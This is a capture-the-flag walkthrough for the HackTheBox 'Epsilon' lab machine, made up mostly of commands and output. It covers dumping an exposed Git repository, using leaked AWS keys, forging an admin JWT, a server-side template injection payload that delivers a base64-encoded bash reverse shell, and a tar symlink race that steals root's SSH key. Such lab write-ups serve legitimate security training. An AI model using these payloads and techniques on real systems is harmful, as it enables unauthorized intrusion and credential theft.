HackTheBox Epsilon Writeup
Explore the fundamentals of cybersecurity in the Epsilon Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.134 cloud.epsilon.htb epsilon.htb
Script to add hosts automatically#
ip="10.10.11.134"
domain="cloud.epsilon.htb epsilon.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV epsilon.htb
Nmap scan report for epsilon.htb (10.10.11.134)
Host is up (0.049s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-title: 403 Forbidden
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Git Repository#
as revealed by nmap on port 80.
mkdir epsilon
git-dumper http://epsilon.htb/epsilon
cd epsilon
gitleaks detect -v
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
an AWS access key and secret key is showed
Aws Interaction#
aws configure
- AWS Access Key ID:
AQLA5M37BDN6FJP76TDC - AWS Secret Access Key:
OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A - Default Region:
us-east-1
Alternatively, you can directly create or edit the AWS credentials file:
mkdir -p ~/.aws
cat <<EOL > ~/.aws/credentials
[default]
aws_access_key_id = AQLA5M37BDN6FJP76TDC
aws_secret_access_key = OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
EOL
cat <<EOL > ~/.aws/config
[default]
region = us-east-1
output = json
EOL
List functions:
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
Get Function:
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1
You’ll find <http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code>. Download it with:
wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
unzip code
cat lambda_function.py
The following code reveals the website’s mechanism and exposes a hardcoded secret key
Generating JWT for Admin Access#
The admin coockie can be generated as follows:
python -c 'import jwt; print(jwt.encode({"username": "admin"}, "RrXCv`mrNe+5`wYq", algorithm="HS256"))'
Use the generated cookie for authentication:
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
Access the target page at http://epsilon.htb:5000/home
Exploiting SSTI and Gaining Reverse Shell Access#
To confirm the SSTI vulnerability, send a simple test payload to the /order endpoint:
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-raw 'costume={{7*7}}&q=1&addr=pwn' | grep '49'
Seeing 49 in the response confirms the SSTI vulnerability.
To exploit this, use a payload that can execute system commands, like the following from PayloadsAllTheThings:
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Start the listener:
nc -lvnp 9001
Prepare a reverse shell payload, encode it in base64 for easier injection, and deliver it to the target with curl:
rev="bash -i >& /dev/tcp/$(ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/9001 0>&1"
encodedrev=$(echo "$rev" | base64 -w 0)
payload="{{ namespace.__init__.__globals__.os.popen('echo $encodedrev | base64 -d | bash').read() }}"
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-urlencode "costume=$payload" --data-urlencode "q=1" --data-urlencode "addr=pwn"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Read the flag:
cat /home/tom/user.txt
Analysis of backup.sh#
System Process Monitoring with pspypspy was utilized to monitor scheduled server tasks, providing visibility into system processes without root access. More information on pspy on GitHub.
Script Analysis: /usr/bin/backup.sh
The backup.sh script runs every minute, managing backups in /opt/backups. Key operations include:
#!/bin/bash
file=$(date +%N)
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=$(date +%N)
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
Script Workflow
- Cleanup: Empties
/opt/backups. - Backup: Archives
/var/www/appto/opt/backupswith a timestamped filename. - Checksum: Computes and saves SHA1 hash of the tar file.
- Archival: After a short delay, packages the checksum and tar file into
/var/backups/web_backups. - Final Cleanup: Clears
/opt/backupsafter completion.
Security Note
Using the -h (--dereference) option in tar follows symlinks, posing potential security risks by allowing unauthorized file access or modification through crafted symlinks.
Exploit#
while [[ -z "$(ls /opt/backups 2>/dev/null)" ]]; do sleep 3; done
rm -f /opt/backups/checksum && ln -sf /root/.ssh /opt/backups/checksum
sleep 3
file=$(ls -t /var/backups/web_backups | head -n1)
cp "/var/backups/web_backups/$file" /tmp && cd /tmp
tar -xf "$file"
ssh -i /tmp/opt/backups/checksum/id_rsa root@10.10.11.134
cat root.txt